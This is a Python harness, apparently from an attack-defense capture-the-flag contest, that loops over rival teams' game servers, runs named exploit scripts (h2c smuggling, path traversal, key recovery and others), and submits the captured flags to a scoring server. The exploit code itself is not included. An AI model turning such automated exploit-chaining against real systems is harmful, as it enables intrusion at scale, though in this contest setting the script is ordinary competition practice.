exploiter.py

#!/usr/bin/env python3

from pwn import *
import requests
import sys
import os

os.environ["PWNLIB_NOTERM"] = "1"

TEAM = int(sys.argv[1])
TEAM_TOKENS = [
    "TOKEN_TEAM_0",
    "TOKEN_TEAM_1",
    "TOKEN_TEAM_2",
    "TOKEN_TEAM_3",
    "TOKEN_TEAM_4",
    "TOKEN_TEAM_5",
    "TOKEN_TEAM_6",
    "TOKEN_TEAM_7"
]
TEAM_TOKEN = TEAM_TOKENS[TEAM]


def send(flags):
    t = requests.put('http://10.10.0.1:8080/flags', headers={
        'X-Team-Token': TEAM_TOKEN
    }, json=flags).text


while True:
    for i in range(1, len(TEAM_TOKENS)):

        flagIds = requests.get("http://10.10.0.1:8081/flagIds").json()

        if i == TEAM:
            continue

        # ClosedSea-1
        for flagId in flagIds["ClosedSea-1"][f"10.60.{i}.1"]:
            try:
                print("./service1-store1-vuln1-h2csmuggling.py", str(i), flagId)
                s2 = process(
                    ["./service1-store1-vuln1-h2csmuggling.py", str(i), flagId], stdout=PIPE)
                s2.wait(timeout=5)
                send(s2.recvall(timeout=5).decode().split("\n"))
                s2.close()
            except:
                pass
        # ClosedSea-2
        for flagId in flagIds["ClosedSea-2"][f"10.60.{i}.1"]:
            try:
                print("./service1-store2-vuln2-keyrecovery.py", str(i), flagId)
                s2 = process(
                    ["./service1-store2-vuln2-keyrecovery.py", str(i), flagId], stdout=PIPE)
                s2.wait(timeout=5)
                send(s2.recvall(timeout=5).decode().split("\n"))
                s2.close()
            except:
                pass

        # ExamNotes
        for flagId in flagIds["ExamNotes"][f"10.60.{i}.1"]:
            try:
                print("./service2-store1-vuln2-path-traversal.py", str(i), flagId)
                s2 = process(
                    ["./service2-store1-vuln2-path-traversal.py", str(i), flagId], stdout=PIPE)
                s2.wait(timeout=5)
                send(s2.recvall(timeout=5).decode().split("\n"))
                s2.close()
            except:
                pass

        # EncryptedNotes
        for flagId in flagIds["EncryptedNotes"][f"10.60.{i}.1"]:
            try:
                print("./service2-store2-vuln1-ungarbled.py", str(i), flagId)
                s2 = process(
                    ["./service2-store2-vuln1-ungarbled.py", str(i), flagId], stdout=PIPE)
                s2.wait(timeout=5)
                send(s2.recvall(timeout=5).decode().split("\n"))
                s2.close()
            except:
                pass

        # ExamPortal
        for flagId in flagIds["ExamPortal"][f"10.60.{i}.1"]:
            try:
                print("./service2-store3-vuln2-viewexam.py", str(i), flagId)
                s2 = process(
                    ["./service2-store3-vuln2-viewexam.py", str(i), flagId], stdout=PIPE)
                s2.wait(timeout=5)
                send(s2.recvall(timeout=5).decode().split("\n"))
                s2.close()
            except:
                pass

        # RPN 1
        try:
            s3 = process(["./service3-leak-1.py", str(i)], stdout=PIPE)
            s3.wait(timeout=5)
            send(s3.recvall(timeout=5).decode().split("\n"))
            s3.close()
        except:
            pass

        # RPN 2
        try:
            s3 = process(["./service3-leak-5.py", str(i)], stdout=PIPE)
            s3.wait(timeout=5)
            send(s3.recvall(timeout=5).decode().split("\n"))
            s3.close()
        except:
            pass

        # Trademark
        for flagId in flagIds["Trademark"][f"10.60.{i}.1"]:
            try:
                print("./service4-store1-vuln4-zero-poly.py", str(i), flagId)
                s4 = process(
                    ["./service4-store1-vuln4-zero-poly.py", str(i), flagId], stdout=PIPE)
                s4.wait(timeout=5)
                send(s4.recvall(timeout=5).decode().split("\n"))
                s4.close()
            except:
                pass